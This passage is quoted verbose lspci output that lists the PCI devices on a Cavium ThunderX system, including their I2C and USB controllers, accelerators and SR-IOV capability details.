> ARICtl: MFVC- ACS-, Function Group: 0
>
> 0000:01:19.0 Serial bus controller [0c80]: Cavium, Inc. THUNDERX TWSI / I2C Controller
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 0: [virtual] Memory at 87e108000000 (32-bit, non-prefetchable) [size=64K]
> Region 4: [virtual] Memory at 87e108f00000 (32-bit, non-prefetchable) [size=1M]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset-
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [80] MSI-X: Enable- Count=1 Masked-
> Vector table: BAR=4 offset=00000000
> PBA: BAR=4 offset=000f0000
> Capabilities: [98] #14 [0002]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 201
> ARICtl: MFVC- ACS-, Function Group: 0
>
> 0000:01:19.1 Serial bus controller [0c80]: Cavium, Inc. THUNDERX TWSI / I2C Controller
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 0: [virtual] Memory at 87e109000000 (32-bit, non-prefetchable) [size=64K]
> Region 4: [virtual] Memory at 87e109f00000 (32-bit, non-prefetchable) [size=1M]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset-
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [80] MSI-X: Enable- Count=1 Masked-
> Vector table: BAR=4 offset=00000000
> PBA: BAR=4 offset=000f0000
> Capabilities: [98] #14 [0002]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 202
> ARICtl: MFVC- ACS-, Function Group: 0
>
> 0000:01:19.2 Serial bus controller [0c80]: Cavium, Inc. THUNDERX TWSI / I2C Controller
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 0: [virtual] Memory at 87e10a000000 (32-bit, non-prefetchable) [size=64K]
> Region 4: [virtual] Memory at 87e10af00000 (32-bit, non-prefetchable) [size=1M]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset-
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [80] MSI-X: Enable- Count=1 Masked-
> Vector table: BAR=4 offset=00000000
> PBA: BAR=4 offset=000f0000
> Capabilities: [98] #14 [0002]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 203
> ARICtl: MFVC- ACS-, Function Group: 0
>
> 0000:01:19.3 Serial bus controller [0c80]: Cavium, Inc. THUNDERX TWSI / I2C Controller
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 0: [virtual] Memory at 87e10b000000 (32-bit, non-prefetchable) [size=64K]
> Region 4: [virtual] Memory at 87e10bf00000 (32-bit, non-prefetchable) [size=1M]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset-
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [80] MSI-X: Enable- Count=1 Masked-
> Vector table: BAR=4 offset=00000000
> PBA: BAR=4 offset=000f0000
> Capabilities: [98] #14 [0002]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 0
> ARICtl: MFVC- ACS-, Function Group: 0
>
> 0000:02:00.0 System peripheral: Cavium, Inc. Device a075
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 0: [virtual] Memory at 87e0f9000000 (32-bit, non-prefetchable) [size=256K]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset-
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [98] #14 [0001]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 0
> ARICtl: MFVC- ACS-, Function Group: 0
>
> 0000:03:00.0 System peripheral: Cavium, Inc. Device a075
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 0: [virtual] Memory at 87e0fa000000 (32-bit, non-prefetchable) [size=256K]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset-
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [98] #14 [0001]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 0
> ARICtl: MFVC- ACS-, Function Group: 0
>
> 0000:04:00.0 System peripheral: Cavium, Inc. Device a075
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 0: [virtual] Memory at 87e0fb000000 (32-bit, non-prefetchable) [size=256K]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset-
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [98] #14 [0001]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 0
> ARICtl: MFVC- ACS-, Function Group: 0
>
> 0000:05:00.0 Processing accelerators: Cavium, Inc. Device a098 (rev 54)
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 0: [virtual] Memory at 87e00f000000 (32-bit, non-prefetchable) [size=1M]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset+
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop- FLReset-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [98] #14 [0002]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 0
> ARICtl: MFVC- ACS-, Function Group: 0
> Capabilities: [180 v1] Single Root I/O Virtualization (SR-IOV)
> IOVCap: Migration-, Interrupt Message Number: 000
> IOVCtl: Enable- Migration- Interrupt- MSE+ ARIHierarchy+
> IOVSta: Migration-
> Initial VFs: 1, Total VFs: 1, Number of VFs: 1, Function Dependency Link: 00
> VF offset: 1, stride: 1, Device ID: a099
> Supported Page Size: 00000553, System Page Size: 00000100
> VF Migration: offset: 00000000, BIR: 0
>
> 0000:06:00.0 System peripheral: Cavium, Inc. Device a080
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 0: [virtual] Memory at 86e000000000 (32-bit, non-prefetchable) [size=4G]
> Region 4: [virtual] Memory at 86e100000000 (32-bit, non-prefetchable) [size=1M]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset-
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [80] MSI-X: Enable- Count=119 Masked-
> Vector table: BAR=4 offset=00000000
> PBA: BAR=4 offset=000f0000
> Capabilities: [98] #14 [0004]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 0
> ARICtl: MFVC- ACS-, Function Group: 0
> Capabilities: [180 v1] Single Root I/O Virtualization (SR-IOV)
> IOVCap: Migration-, Interrupt Message Number: 000
> IOVCtl: Enable+ Migration- Interrupt- MSE+ ARIHierarchy+
> IOVSta: Migration-
> Initial VFs: 32, Total VFs: 32, Number of VFs: 32, Function Dependency Link: 00
> VF offset: 1, stride: 1, Device ID: a081
> Supported Page Size: 00000553, System Page Size: 00000100
> VF Migration: offset: 00000000, BIR: 0
>
> 0001:00:0c.0 USB controller: Cavium, Inc. THUNDERX xHCI USB Controller (prog-if 30 [XHCI])
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 0: [virtual] Memory at 868000000000 (32-bit, non-prefetchable) [size=2M]
> Region 4: [virtual] Memory at 868000200000 (32-bit, non-prefetchable) [size=1M]
> Capabilities: [40] Express (v2) Root Complex Integrated Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
